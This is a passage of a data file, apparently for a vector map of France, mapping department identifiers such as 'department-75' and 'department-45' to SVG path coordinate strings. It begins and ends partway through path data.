-1.74,-2.51 -0.76,0.04 -0.35,1.66 -1.56,0.99 -1.63,0.01 0.09,-1.59 -1.48,-1.79 -0.96,-0.62 -1.98,-0.38 -2.67,-1.33 -1.15,-0.06 -2.21,-0.73 -3.09,-0.09 -0.52,-1.59 -2.64,-3.14 -3.11,-0.65 -0.81,0.43 -3.97,1.21 -2.53,-0.5 -0.87,-1.58 -3.19,1.28 -3.56,-1.01 -1.15,-0.35 -2.65,-0.19 -3.11,-1.46 -1.37,0.13 -2.53,1.17 -3.72,1.84 -1.32,-0.26 -2.69,0.49 -4.1,0.64 -1.33,0.67 -2.12,-0.84 -3.46,0.08 -0.96,-1.47 -2.91,-0.73 -4.2,-0.81 -0.5,-0.95 -2.12,-1.82 -0.57,-2.52 0.13,-0.53 -0.36,-1.09 -0.9,-1.1 z","department-78":"m 292.32,132.84 c -1.68,0.81 -3.67,0.76 -5.14,1.83 -1.97,-1.3 -0.99,2.02 -0.1,2.67 0.55,0.79 -1.34,2.61 0.69,2.07 1.64,-0.39 0.59,0.65 0.37,1.44 0.56,0.92 0.3,2.44 1.88,2.64 -0.09,1.26 1.67,1.89 0.48,3.08 1.64,0.66 2.24,2.6 1.48,4.19 -1.03,2.01 0.99,3.08 1.85,4.34 -0.58,1.19 -2.9,3.12 -0.68,3.75 -0.47,1.26 0.09,2.42 1.54,2.47 0.18,1.99 1.68,2.21 3.27,2.53 -0.41,1.11 -0.51,2.96 1.4,2.43 1.42,0.39 2.18,2 1.59,3.43 0.23,1.67 0.57,3.89 2.53,3.87 0.36,1.68 3.78,2.12 3.77,0.29 -0.23,-1.35 1.17,-2.66 1.54,-4.05 1.67,-0.97 -2.33,-2.06 -0.18,-2.66 1.44,0.17 3.44,0.88 3.57,-1.25 0.08,-1.12 0.7,-1.71 1.35,-2.36 -0.8,-1.15 -2.97,-2.42 -1.13,-3.55 0.61,-1.71 3.54,-1.04 3.46,-3.33 -0.81,-1.48 0.7,-1.23 1.5,-1.61 0.73,-1.13 2.67,-0.43 2.55,-1.99 1.23,0.53 1.88,-0.53 0.53,-1.07 -0.97,-1.07 -3.27,-1.54 -2.66,-3.59 -0.02,-1.82 0.75,-3.53 2.25,-4.55 0.27,-1.43 0.56,-2.46 -1.03,-2.77 0.42,-2.23 -2.99,-1.71 -2.63,-3.73 -1.61,-0.09 -3.2,1.35 -4.8,0.6 -1.14,-1.79 -3.8,-0.64 -4.79,-2.64 -0.79,0.03 -1.9,3.2 -2.31,1.04 -0.6,-0.85 0.89,-2.23 -0.76,-2.51 -1.37,-1.91 -2.01,1.2 -3.59,0.52 -1.03,1.41 -3.22,0.49 -3.58,-1.01 -1.62,-1.22 -2.88,0.79 -4.21,-0.53 z","department-28":"m 287.11,142.32 c -2.1,1.04 1.22,5.31 -2.55,5.04 -3.13,0.47 -2.25,4.05 -2.79,5.7 -2.08,1.39 -4.66,0.71 -6.89,0.79 -1.67,0.17 -4.55,-2.91 -4.14,0.39 -0.94,1.3 -4.08,-0.75 -3.86,1.85 -2.43,0.08 -5.51,1.27 -7.37,1.58 -1.08,1.71 -3.78,2.6 -2.33,4.99 0.77,3.5 4.78,4.24 6.38,7.09 -0.22,2.23 -1.98,4.13 0.4,5.86 -1.32,2.12 -2.68,4.96 -5.61,5.63 -2.31,-0.78 -5.36,3.02 -2.13,3.95 -1.7,2.27 2.62,5.08 0.17,6.87 0.96,1.32 5.87,1.56 4.27,3.23 -2.59,-0.41 -2.61,3.43 0.12,2 1.93,-0.18 2.86,0.02 4.27,-1.38 2.46,-1.17 2.35,1.12 0.44,1.89 0.94,1.94 5.72,-0.14 5.24,3.16 2.38,1.44 2.98,5.53 5.88,5 2.46,1.01 5.04,1.84 7.07,-0.1 2.12,0.96 1.21,-4.35 3.42,-1.33 2.91,1.91 0.9,-4.73 4.83,-2.76 1.99,-0.3 2.54,-3.35 5.19,-2.24 2.89,0.64 5.49,-1.07 8.22,-1.66 2.33,-1.48 0.35,-5.82 3.98,-5.14 -0.56,-1.06 0.03,-1.81 0.2,-2.18 -1.12,-2.33 1.98,-4.62 -0.13,-6.47 1.22,-2.57 0.51,-6.45 -1.46,-7.17 0.98,-3.67 -3.12,-0.53 -4.61,-2.82 -3.57,-1.35 -1.08,-6.34 -4.19,-7.79 -2.86,0.53 -0.05,-3.49 -3.13,-2.7 -2.21,-2.24 -5.44,-5.53 -2.5,-8.36 -1.41,-1.65 -2.75,-3.31 -1.37,-5.55 -0.35,-2.12 -1.91,-3.29 -1.97,-5.44 -0.63,-1.06 -1.8,-1.83 -3.04,-1.94 z","department-75":"m 326.98,144.71 c -1.27,-0.06 -2.46,0.68 -3.27,1.54 -0.47,-0.15 -0.85,0.06 -1.23,0.25 -0.65,0.03 -1.66,1.18 -0.69,1.52 0.81,0.18 0.93,1.2 1.8,1.35 1.65,0.28 3.42,1.43 5.03,0.39 1.03,-0.88 2.21,0.62 3.32,0.28 0.54,-0.43 0.6,-1.27 -0.33,-1.23 -0.68,-0.16 -1.14,-0.33 -1.46,-0.06 -0.34,-1.13 -0.06,-2.23 -0.93,-3.14 -0.12,-1.14 -1.17,-0.96 -2.05,-0.92 l -0.18,0 -0.03,3e-4 z","department-93":"m 336.5,137.58 c -0.46,0.33 -1.14,0.34 -1.42,0.97 -0.75,1.19 -2.15,1.71 -3.14,2.62 -0.82,-0.03 -1.72,-0.07 -2.53,-0.25 -0.64,-0.37 -1.29,-1.34 -2.07,-0.64 -0.6,0.3 -1.08,1.1 -1.81,0.59 -0.35,-0.19 -1.46,-0.42 -1.19,0.3 0.56,0.53 2.05,0.32 2.05,1.33 -0.06,0.69 -1.13,1.34 -0.68,2.02 1.05,0.43 2.37,-0.21 3.33,0.37 0.27,0.54 0.5,1.08 0.89,1.55 0.18,0.57 -0.13,1.72 0.86,1.53 1.07,-0.15 2.16,-1.04 3.23,-0.34 1.04,0.72 2.32,1.35 3.05,2.37 -0.11,0.74 1.41,0.94 1.04,0.05 -0.24,-0.71 -0.92,-1.55 -0.78,-2.26 0.67,-0.23 -0.04,-0.79 -0.4,-0.86 0.27,-0.43 -0.26,-0.81 -0.29,-1.14 0.41,-0.57 1.31,-0.71 1.23,-1.58 -0.09,-0.8 0.8,-1.4 0.35,-2.19 -0.23,-0.84 -1.06,-1.46 -1.25,-2.26 0.77,-0.61 0.45,-1.99 -0.49,-2.17 z","department-94":"m 332.85,147.49 c -0.56,0.21 -2.03,0.43 -2.18,1.01 0.31,0.21 1.82,-0.09 1.77,0.51 0.02,0.58 -0.23,1.64 -1.05,1.16 -1.03,-0.16 -2.09,-1.01 -3.03,-0.14 -0.7,0.5 -1.59,0.2 -2.33,0.5 -0.4,1.12 0.01,2.46 -0.66,3.53 -0.23,0.79 0.87,0.44 1.11,0.99 0.42,0.39 0.99,0.13 1.33,-0.1 0.46,0.44 -0.1,1.74 0.84,1.68 0.59,-0.25 1.17,-0.38 1.79,-0.16 1.34,-0.05 2.64,-0.54 3.94,-0.71 0.51,0.63 0.39,1.61 1.15,2.11 0.31,0.19 0.6,0.29 0.75,0.66 0.59,0.31 1.26,-0.47 0.77,-0.99 -0.01,-0.93 1.56,-1.44 0.88,-2.44 0.49,-0.32 0.24,-1.11 0.85,-1.28 0.43,-0.58 -0.47,-0.6 -0.83,-0.71 -0.34,-0.52 0.66,-1.17 0.14,-1.69 0.12,-0.8 -1.11,-0.7 -1.2,-1.46 -1.03,-1.05 -2.25,-2.13 -3.71,-2.49 -0.1,-0.01 -0.2,-0.01 -0.31,0 z","department-92":"m 324.24,141.53 c -2,0.52 -3.26,2.41 -5.06,3.32 -1.07,0.77 -1.1,2.2 -0.99,3.39 -0.4,0.4 -0.48,0.98 -0.25,1.53 0.01,0.71 0.73,0.52 1.15,0.65 0.16,0.65 0.67,1.01 1.28,1.14 0.25,0.33 0.49,0.67 0.86,0.85 0.32,0.72 0.72,1.57 1.66,1.53 0.78,-0.01 1.11,0.83 1.08,1.46 0.36,0.27 0.92,-0.2 1.18,0.31 0.73,-0.09 0.08,-1 0.1,-1.43 0.14,-0.72 0.7,-1.47 0.38,-2.22 -0.12,-0.62 0.28,-1.24 0.24,-1.78 -0.96,-0.79 -2.46,-0.33 -3.22,-1.42 -0.37,-0.47 -1.1,-0.68 -1.44,-1.08 0.22,-1.13 1.41,-1.83 2.5,-1.7 0.39,-0.7 1.58,-0.82 1.76,-1.68 -0.35,-0.89 1.37,-1.42 0.54,-2.3 -0.48,-0.39 -1.16,-0.56 -1.77,-0.58 z","department-91":"m 320.25,153.32 c -0.58,0.51 -0.49,1.56 -1.65,1.15 -1.09,0.27 -1.38,1.31 -2.58,1.12 0.11,1.05 -0.02,2.93 -1.5,3.32 -1.61,-0.22 -1.97,1.45 -2.84,2.24 0.58,0.86 2.2,1.77 1.79,2.96 -1.64,0.36 -0.55,3.52 -2.55,3.44 -0.79,0.15 -3.39,-0.81 -2.43,0.71 1.02,0.53 2.16,1.11 0.51,1.61 -0.86,0.93 -0.75,2.41 -1.65,3.25 0.14,1.24 1.76,2.59 0.46,3.92 0.71,0.75 2.78,0.14 2.06,1.92 1.07,1.28 -0.54,2.43 0.19,3.85 0.08,0.92 -1.54,1.43 -0.06,2.16 1.67,1.02 3.4,-0.35 5.09,-0.44 0.79,-1.48 2.15,0.97 2.97,-0.44 -0.22,-1.14 1.58,-0.26 1.55,-1.49 0.43,-1.63 2.01,-0.33 2.65,0.23 -0.12,0.95 0.48,1.61 1.08,0.67 0.98,0.38 1.68,0 2.09,-1.03 1.19,-0.35 1.89,2.24 3.4,1.07 0.49,-0.63 -0.03,-1.81 1.37,-1.59 1.11,-0.46 0.12,-2.39 1.77,-2.49 0.99,-0.33 0.83,-1.84 2.2,-1.42 0.62,-0.47 2.15,-0.38 0.97,-1.39 -1.69,-0.77 -1.16,-2.85 -1,-4.34 0.63,-1.35 -0.62,-2.47 -0.1,-3.88 0.63,-1.33 0.75,-2.86 1.78,-3.97 -0.3,-0.67 -1.97,-1.85 -0.32,-2.16 1.12,-0.7 -0.81,-1.91 0.75,-2.52 1.46,0.63 1.85,-1.77 0.18,-1 -1.09,-0.51 -1.76,-1.71 -2.13,-2.88 -1.08,-0.05 -2.24,1 -2.98,0.91 -0.9,-0.56 -2.37,0.31 -3.35,-0.26 0.08,-0.81 -0.25,-1.5 -1.11,-1.09 -0.9,-1.03 -1.16,0.24 -1.83,0.61 -0.49,-0.5 -1.91,-0.11 -1.24,-1.2 -0.57,-1.05 -2.44,-1.17 -3.52,-1.52 z","department-45":"m 320.43,181.91 c -1.93,3.75 -6.85,2.12 -9.9,4.16 -1.95,2.44 0.54,6.83 -3.34,8.04 -0.15,3.54 -2.85,4.96 -6.06,5.24 -2.92,1.1 -6.42,-0.72 -8.49,2.39 -1.57,0.69 -5.05,0.19 -3.17,3.06 1.8,0.69 1.81,1.21 0.63,2.66 -1.69,2.43 4.05,3.22 1.25,6.02 -2.34,2.28 -0.38,4.59 0.09,7.04 1.76,1.74 4.95,-1.17 6.29,2.07 1.03,2.45 2.79,7.52 5.89,3.78 1.72,-3.2 5.45,1.69 8.15,-0.49 3.31,-0.11 8.68,-1.55 10.42,2.55 3,0.8 5.42,3.73 8.74,2.17 2.13,1.16 4.32,2.3 6.96,2.83 1.97,1.01 3.09,6.61 5.84,4.26 -0,-3.62 2.76,-1.68 4.41,-0.43 2.59,0.81 2.19,-2.3 2.2,-3.37 1.94,-0.4 6.46,-0.48 3.87,-3.36 0.34,-3.56 -2.17,-6.48 -4.41,-8.39 0.34,-3.92 6.29,-1.58 7.84,-4.63 1.26,-2.84 -2.35,-5.65 1.12,-7.77 4,-1.7 4.51,-6.41 1.51,-9.33 -2.16,-2.35 -2.73,-6.91 -6.87,-6.87 -1.86,0.13 -5.92,3.75 -6.03,-0.07 -2.63,1.14 -5.36,4.25 -8.22,1.8 -2.17,-0.24 -6.58,1.49 -7.34,0.08 2.67,-1.6 4.53,-6.27 0.45,-7.38 -2.86,-1.04 -1.71,-5.28 -5.43,-4.57 -1.53,-1.38 -4.89,2.52 -5.34,-1.02 -0.33,-0.2 -0.71,-0.32 -1.06,-0.48 z","department-41":"m 266.29,195.63 c -2.06,2.95 -7.43,0.3 -8.5,3.42 -1.9,1 -2.23,2.67 -0.22,3.62 0.19,3.26 0.26,5.82 -1.16,8.6 -4.07,-1.69 0.07,5.24 -3.5,5.91 -0.99,3.4 -6.81,3.06 -5.94,7 2.53,-0.22 6.07,1.21 9.36,0.87 2.33,-0.38 3.21,0.87 2.33,3.13 -0.6,3 2.08,2.14 3.12,0.52 2.68,-0.46 3,3.47 5.15,1.95 3.31,1.92 -0.52,5.3 2.24,7.5 2.87,2.54 0.27,5.57 1.51,8.9 -2.12,3.16 1.39,5.4 4.47,4.52 3.84,-0.06 2.69,7.22 7.32,5.56 1.87,-1.68 3.74,-3.34 6.46,-2 0.88,-3.66 5.55,-2.27 8.48,-2.51 2.88,0.7 4.8,4.16 8.08,3.56 2.17,-0.93 0.23,-5.2 4,-4.24 2.53,1.03 9.23,0.49 7.7,-3.24 -2.46,-1.98 -1.75,-6.33 1.55,-6.48 1.62,0.43 3.89,1.9 3.49,-1.2 0.4,-2.84 -2.55,-3.04 -1.96,-5.71 -0.66,-1.86 -5.5,-1.35 -2.85,-4.03 2.3,-0.71 6.5,-3.18 2.67,-5.2 -3.4,-0.6 -6.94,-0.37 -10.34,0.3 -2.3,0.89 -5.75,-3.14 -6.32,0.82 -3.73,2.59 -5.33,-2.8 -6.15,-5.3 -2.21,-2.59 -5.58,2.04 -6.3,-1.81 -0.8,-1.62 0.46,-2.55 -1.18,-3.79 1.15,-2.66 3.49,-5.56 -0.29,-7.32 0.2,-1.64 2.39,-4.45 -1.04,-3.94 -1.34,-0.61 -4.15,-1.65 -3.51,1.01 -2.97,0.88 -5.87,1.72 -8.76,0.26 -3.05,-0.48 -3.65,-3.81 -5.67,-5.58 -0.41,-3.18 -5.31,-0.86 -5.28,-3.08 0.5,-0.52 3.23,-1.6 1.02,-2.02 z","department-36":"m 292.75,252.32 c -0.22,1.96 -4.71,0.36 -3.09,3.11 -2.43,-0.72 -5.02,-1.03 -6.59,1.34 -2.69,0.52 -2.88,2.56 -1.18,4.37 -0.27,2.79 -3.21,4.19 -4.35,6.82 -1.44,3.03 -4.42,-1.33 -6.53,0.46 -3.18,0.46 -2.88,3.92 -3.68,6.03 -1.05,3.06 -0.95,6.5 -2.13,9.41 1.56,2.64 -2,4.95 -4.07,2.91 -3.4,-0.16 1.5,2.15 0.47,4.03 -1.36,3.26 -0.89,7.48 3.29,8.02 1.63,1.02 1.82,2.51 4.05,2.13 3.15,0.49 2.87,3.8 3.42,5.86 3.01,0.61 1.99,2.49 1.57,4.47 1.47,-0.43 1.97,1.71 3.8,0.38 1.85,0.34 2.68,-2.93 4.56,-0.65 1.37,1.89 2.88,2.94 4.14,0.35 1.12,-1.38 3.37,-4.31 4.14,-1.21 1.33,-0.81 3.52,-2.34 3.35,0.47 1.47,0.6 2.78,-3.28 3.75,-0.32 2.88,0.93 1.17,-5.91 4.57,-3.2 2.52,2.22 5.64,-0.66 8.59,0.82 2.5,1.04 7.68,2.32 7.46,-1.55 4.04,-2.02 -1.08,-5.26 0.41,-8.47 1.23,-2.22 0.34,-4.16 -1.32,-5.77 1.29,-2.28 -5.15,-3.19 -2.63,-5.41 3.7,-2.03 -4.12,-5.08 0.13,-6.45 0.15,-1.85 5.09,-3.55 1.3,-4.36 -3.14,-0.2 -1.71,-2.81 -0.75,-4.45 0.55,-3.16 -4.43,-3.11 -2.28,-6.14 0.71,-2.59 -1.84,-0.34 -2.34,-2.38 -2.14,-1.4 -4.51,2.29 -6.97,0.12 -1.89,-0.3 -3.87,-1.35 -1.68,-3.08 2.9,-1.88 1.03,-5.37 -2,-5.37 -1.57,-1.11 -2.26,-2.41 -4.45,-1.38 -1.18,-0.07 -1.7,-1.07 -2.98,-0.88 z",
"department-18":"m 323.87,229.07 c -2.35,0.13 -9.34,2.52 -5.77,4.83 3.63,-0.55 1.32,4.29 3.95,4.19 1.09,2.3 -0.24,7.95 -2.97,4.02 -2.53,0.84 -4.38,3.27 -2.23,5.76 1.94,2.35 0.54,4.87 -2.44,4.09 -2,0.97 -4.54,0.79 -6.09,-0.04 -3.26,0.8 0.48,4.8 -3.11,4.5 -2.3,-0.84 -0.78,2.92 -3.07,3.74 -2.13,3.21 4.52,3.78 6.54,2.69 2.19,-2.06 2.95,2.09 4.74,0.99 0.13,1.95 -1.78,4.73 1.47,5.08 2.39,1.98 -3.09,7.46 2.34,7.01 1.98,2.06 -4.63,4.48 -3.1,6.87 3.2,0.9 1.23,3.63 0.29,5.24 0.67,1.68 4.73,1.92 3.03,4.22 4.54,2.34 -0.65,6.57 2.07,9.85 1.42,2.13 -0.12,3.45 -1.35,4.8 0.97,3.01 6.38,2.02 6.61,-1.43 1.68,-1.43 2.79,-4.1 5.74,-3.71 2.61,-0.19 8.61,0.85 7.95,-3.28 -1.28,-1.97 -0.29,-4.02 -0.99,-5.76 1.11,-0.26 2.76,0.38 2.1,-1.66 2.77,0.03 3.8,-5.99 6.55,-2.38 4.02,-0.1 5.48,-4.84 9.43,-5.17 5.09,1.19 4.04,-5.2 3.91,-8.3 0.71,-2.84 1.27,-6.86 -1.24,-8.77 -0.49,-3.87 -0.61,-7.69 -2.18,-11.39 0.6,-4.25 -6.27,-4.24 -4.71,-8.26 2.14,-3.02 2.74,-7.4 -0.15,-10.16 -1.82,-0.35 -3.52,2.23 -5.06,-0.44 -2.66,-2.76 -1.08,3.94 -4.37,2.1 -2.06,-1.93 -3.82,-6.36 -7.51,-5.63 -1.58,-0.2 -3.8,-3.83 -5.86,-1.15 -1.78,-0.24 -2.82,-2.01 -4.51,-2.45 z","department-23":"m 301.06,306.59 c -2.18,-0.09 -0.48,5.24 -3.46,3.84 -1.17,-2.86 -2.05,0.79 -3.59,0.42 -1.13,-0.79 -0,-3.31 -1.73,-1.25 -1.24,0.55 -2.36,1.38 -2.36,-0.7 -1.54,-0.88 -2.18,2.59 -3.79,3.02 -0.98,0.84 -2.88,2.44 -0.45,2.76 0.29,1.69 -1.79,2.6 -0.56,4.04 -2.11,0.16 0.28,2.07 -1.84,2.35 -1.71,2.37 1.37,3.88 3.12,3.98 -0.87,1.98 3.03,2.32 1.47,4.18 0.81,1.46 2.68,2.16 2.08,4.13 0.59,1.41 -1.07,3.49 1.38,3.72 1.8,2.32 -4.92,2.97 -1.35,4.46 1.26,1.18 3.64,-2.06 4.21,0.35 0.31,1.19 0.8,2.47 -1.06,2.08 -1.31,1.78 2.07,3.75 3.94,3.02 1.79,0.62 3.88,-3.62 3.75,-0.15 0.21,1.27 2.24,2.17 2.82,1.56 1.47,1.11 3.83,3.39 1.98,4.77 0.21,1.09 -0.08,4.28 1.82,2.42 1.13,0.08 1.99,-1.04 3.2,-0.95 0.33,-2.76 3.75,-2.96 4.66,-0.46 1.35,-0.17 2.6,0.94 3.34,-0.03 1.49,1.32 3.49,2.43 4.82,3.44 0.2,2.09 4,0.09 3.38,-1.73 2.36,-0.58 5.37,1.33 6.38,-2.1 -1.37,-1.09 -2.62,-1.96 -3.06,-3.78 -1.55,-1.24 -1.59,-2.93 0.65,-2.9 0.54,-1.38 1.04,-2.45 2.73,-1.85 0.62,-1.79 3.09,-2.23 2.56,-4.51 0.36,-1.75 3.84,-1.53 2.12,-3.52 1.2,-2.89 -2.25,-4.14 -2.04,-6.95 -0.08,-2.21 1.4,-4.81 -1.02,-6.11 0.02,-2.5 -1.86,-3.91 -2.39,-6.08 -1.13,-1.7 -3.1,0.63 -2.89,-2.06 -0.52,-1.65 -1.48,-0.92 -2.17,-0.16 -2.13,-0.72 -3.54,-2.45 -1.59,-4.12 -3.08,0.61 -1.54,-4.21 -4.75,-3.19 -2.85,-0.75 -5.52,1.57 -8.05,0.18 -2.39,-0.94 -4.83,-0.98 -7.12,-1.05 -1.87,0.89 -3.74,0.71 -4.87,-1.08 l -0.28,-0.01 10e-6,10e-5 z","department-87":"m 281.04,310.22 c -0.51,0.05 -1.17,0.12 -1.14,0.78 -0.25,1 -1.41,1.2 -2.23,0.78 -0.91,-0.55 -1.46,0.97 -2.37,0.47 -0.41,-0.24 -0.15,-1.36 -0.88,-1.06 -0.15,0.36 -0.49,0.69 -0.87,0.31 -0.42,-0.56 -1.48,-0.46 -1.39,0.36 -0.29,0.51 -0.98,0.78 -0.95,1.46 -0.55,0.47 -1.05,-0.38 -1.56,-0.48 -1.22,-0.29 -2.83,0.17 -3.07,1.56 0.1,1.34 -1.16,2.36 -1.14,3.65 -1.12,-0.21 -2.43,-0.58 -3.48,-0.02 -0.57,-0.29 -1.43,-0.46 -1.55,0.41 -0.29,0.71 -1.42,0.57 -1.53,1.41 -0.45,0.32 -0.59,0.81 -0.41,1.28 -0.57,0.79 -2.14,-0.04 -2.35,1.21 -0.11,1.15 1.52,1.66 1.49,2.82 0.45,0.61 -0.22,1.55 0.51,2.07 0.3,0.78 -1.04,0.68 -1.22,1.21 0.1,0.73 1.16,1.32 0.57,2.1 -0.2,0.88 -0.43,1.82 -0.37,2.7 0.55,0.71 1.53,1.06 1.85,1.96 0.6,0.29 0.77,-1.11 1.42,-0.47 0.52,0.57 1.56,1 1.37,1.9 0.17,0.33 0.61,0.45 0.5,0.91 0.25,0.56 0.69,1.22 0.15,1.8 -0.4,0.33 -0.69,0.93 -0.79,1.33 -1.08,0.03 -1.62,1.44 -2.79,1.15 -0.74,0.09 -1.45,-0.83 -2.12,-0.41 -0.07,0.49 0.25,0.98 0.12,1.53 -0.13,0.54 0.63,1.01 0.41,1.49 -0.44,0.28 -0.27,0.69 -0.21,1.04 -0.23,1.22 -1.06,2.19 -1.62,3.25 -0.26,0.54 0.17,1.51 -0.39,1.85 -0.92,-0.16 -1.85,-1.49 -2.8,-0.78 -0.33,0.63 -0.36,1.44 0.03,2.02 -0.07,0.89 -1.28,0.52 -1.72,1.1 -0.39,0.39 -0.56,0.91 -1.06,1.2 -0.36,0.39 -0.09,1.12 -0.8,1.16 -0.53,0.7 0.73,1.29 1.05,1.78 1.12,0.48 2.72,-0.73 3.83,0.16 0.41,0.49 0.74,1.16 1.39,1.34 0.08,1.16 -0.5,2.25 -0.79,3.32 0.28,0.85 0.98,1.77 1.99,1.46 0.49,0.16 0.41,1.27 1.18,1.08 1.27,-0.42 1.02,-2.31 2.06,-2.9 0.55,0.27 0.58,1.69 1.39,1.27 0.5,-0.37 1.3,-0.2 1.85,-0.57 0.8,-0.12 1.59,0.64 2.37,0.08 1.2,-0.25 2.21,0.92 2.02,2.08 -0.09,0.92 0.66,1.5 1.35,1.88 0.41,0.32 0.61,1.42 1.32,0.86 0.49,-0.58 1.3,-0.68 1.86,-0.14 0.33,0.35 1.23,0.52 1.23,1.08 -0.69,0.87 -1.91,1.66 -1.92,2.87 0.34,0.84 1.26,0.35 1.87,0.21 0.56,0.26 0.58,0.97 0.93,1.33 0.84,-0.26 2.33,-0.56 2.49,0.7 0.19,0.63 0.87,0.23 0.77,-0.27 0.67,-0.31 0.04,-1.73 0.98,-1.81 0.57,0.07 0.21,-0.87 0.71,-0.67 0.95,0.21 1.74,1.1 2.68,1.15 0.76,-1.2 1.96,-2.1 2.52,-3.45 0.35,-0.6 1.02,-0.45 1.52,-0.23 0.86,-0.13 0.35,-1.3 0.75,-1.74 0.56,-0.03 0.98,-0.4 1.21,-0.85 0.63,0.05 0.58,1.16 1.29,0.85 0.37,-0.17 0.08,-0.99 0.68,-0.63 0.79,0.46 1.82,0.91 2.6,0.18 0.48,-0.4 0.34,-1.43 1.2,-1.3 1.25,0.1 2.05,-1.03 2.55,-1.98 0.73,-0.73 1.34,-1.82 2.34,-2.13 0.74,0.12 1.5,-0.28 1.86,-0.87 0.93,-0.17 1.13,-1.16 1.48,-1.85 0.37,-0.07 0.64,0.49 1.11,0.2 0.61,0.2 0.96,1.44 1.71,0.76 0.42,-0.5 1.1,0.52 1.33,-0.26 -0.03,-0.66 0.6,-0.53 1.03,-0.64 0.45,-0.2 0.16,-0.77 -0.12,-0.88 -0.02,-0.51 -0.84,-0.68 -0.83,-1.1 0.48,-0.35 0.14,-0.82 -0.21,-1.07 0.24,-0.6 0.41,-1.25 0.01,-1.83 -0.05,-0.55 1.2,0 0.86,-0.75 -0.45,-0.79 -0.3,-1.85 -1.25,-2.36 -0.47,-0.29 -0.97,-0.56 -1.37,-0.86 -0.42,0.28 -0.85,0.21 -1.19,-0.2 -0.57,-0.6 -1.85,-0.61 -1.72,-1.7 0.17,-0.43 0.1,-1.78 -0.62,-1.22 -0.17,0.44 -0.43,0.74 -0.89,0.86 -0.71,0.92 -2.04,0.24 -2.93,0.86 -0.49,0.28 -0.9,0.12 -1.15,-0.31 -0.68,-0.45 -1.84,-0.44 -2.21,-1.23 0.21,-0.61 -0.04,-1.24 -0.49,-1.61 0.25,-0.59 1.1,-0.28 1.36,-0.78 0.47,0.27 0.94,-0.21 0.51,-0.63 -0.6,-0.41 0.17,-1.39 -0.62,-1.58 -0.8,-0.29 -1.69,0.05 -2.03,0.8 -0.73,0.21 -1.51,-0.02 -1.97,-0.63 -0.45,-0.19 -1.31,-0.18 -0.96,-0.92 0.42,-1.4 2.91,-1.11 2.81,-2.77 -0.02,-0.79 -0.76,-1.12 -1.46,-1.02 -0.74,-0.49 -0.23,-1.62 0.01,-2.28 0.07,-0.84 -0.67,-1.62 -0.2,-2.45 -0.01,-0.95 -1.08,-1.21 -1.63,-1.75 -0.29,-0.44 -0.89,-1.12 -0.22,-1.54 0.59,-0.47 -0.22,-1.14 -0.7,-1.29 -0.29,-0.51 -0.96,-0.67 -1.32,-1.01 0.65,-0.4 0.49,-1.69 -0.42,-1.53 -0.93,0.06 -2.05,-0.18 -2.28,-1.2 -0.52,-0.39 -1.08,-1.35 -0.53,-1.94 0.31,-0.58 0.65,-1.21 1.38,-1.2 0.66,-0.47 -0.77,-0.84 -0.18,-1.34 0.43,-0.32 0.7,-0.79 0.48,-1.28 -0.02,-0.63 0.42,-1.1 0.86,-1.45 0.24,-0.83 0.18,-2.06 -0.9,-2.22 -0.7,-0.32 -0.2,-1.35 -0.83,-1.79 -0.85,-0.67 -1.34,-1.98 -2.45,-2.23 l -0.03,0.01 z","department-19":"m 313.35,352.38 c -1.86,0.13 -2.22,1.42 -2.96,2.7 -1.7,-0.45 -2.02,1.25 -3.41,1.04 0.1,2.65 -3.23,3.39 -4.97,1.84 -1.53,1.04 -2.82,2.64 -4.95,2.95 -1.42,1.63 -2.47,3.68 -4.63,4.05 -0.78,2.4 -3.28,0.32 -4.72,1.32 -0.15,-2.02 -2.14,1.24 -2.3,2.01 -1.89,-1.15 -2.49,2.34 -3.89,3.21 -1.28,0.53 -3.65,-2.27 -4.12,0.75 -1.21,1.38 2.97,2.44 0.01,3.18 -0.68,2.09 4.29,0.8 2.12,3.47 -1.5,0.61 -1.7,2.64 -3.24,3.07 -0.37,1.74 -0.74,3.8 1.62,4.02 0.64,1.56 -3.73,2.47 -1.44,3.5 2.52,-0.79 2.31,2.08 0.75,2.84 2.1,1.86 4.91,0.57 6.95,2.2 -1.97,1.83 -0.08,4.96 1.55,6.77 1.57,0.57 3.76,-3.02 4.88,-0.71 2.49,-1.36 5.15,0.9 6.6,2.82 0.89,1.66 2.62,2.3 3.51,3.98 0.84,-0.76 2.22,0.94 2.83,-0.95 1.95,-0.25 4.19,-4.21 5.12,-0.84 2.18,-2.19 5.35,-1.42 8,-1.89 1.92,-1.72 -3.18,-4.39 -0.13,-5.96 1.44,-0.92 3.38,-0.83 2.82,-3.25 -0.27,-1.27 3.56,-2.56 1.06,-3.66 -2.12,-2.49 1.31,-4.07 2.09,-6.03 1.52,-1.54 3.08,-3.21 4.69,-4.48 0.47,-1.62 0.7,-3.32 -0.12,-4.93 2.48,-0.49 5.95,4.22 7.88,1.25 -2.68,-1.36 -0.86,-4.01 -0.65,-6.27 0.65,-2.61 -0.12,-4.5 -1.81,-6.42 -0.37,-1.09 0.41,-2.79 1.03,-3.68 2.2,0.41 0.72,-2.34 1.39,-3.43 -0.08,-1.62 -1.77,-3.7 -2.72,-1.42 -1.49,2.45 -5.53,-1.84 -5.69,2.21 -1.2,1.04 -3.48,1.86 -3.57,-0.45 -2.4,-0.22 -2.77,-1.54 -4.33,-2.87 -0.57,1 -2.92,0.03 -3.77,-0.11 0.11,-0.94 -1.07,-1.2 -1.5,-1.83 z","department-15":"m 334.72,370.94 c -1.28,1.82 -1.55,4.58 0.43,5.9 -1.81,2.51 -4.37,0.04 -6.57,-1.17 -2.6,-1.06 0.22,2.76 -1.15,4.1 -0.02,1.86 -2.79,1.83 -3.22,3.86 -1.83,1.13 -3.51,3.59 -4.24,5.64 0.35,1.77 2.71,2.41 0.56,3.82 -1.95,0.87 -0.07,4.99 -2.89,4.16 -3.55,0.88 -0.82,4.03 -0.22,5.71 -0.43,1.88 -4.6,-0.03 -2.81,2.9 -0.04,1.62 2.21,2.57 0.46,3.91 0.13,3.08 4.46,4.57 3.6,7.69 -0.92,1.52 -0.85,3.76 -1.46,5.32 3.14,-0.54 0.43,4.14 3.05,4.94 0.99,0 -0.12,-3.03 2.23,-2.19 1.58,-0.83 4.01,-1.56 4.43,0.74 2.75,-0.34 6.48,0.85 7.12,-2.96 2.85,-1.73 1.71,-5.71 4.3,-7.33 -0.14,-2.33 1,-4.52 2.76,-5.39 0.66,-1.77 2.62,-2.11 3.53,-3.79 2.71,0.19 1.23,4.39 2.14,5.14 1.36,-1.39 4.37,-1.42 3.78,1.12 0.34,1.62 0.97,4.51 2.8,3.48 0.84,2.32 -0.52,5.11 1.01,7.65 0.5,1.69 1.9,2.45 2.17,0.12 0.35,-2.14 2.27,-2.85 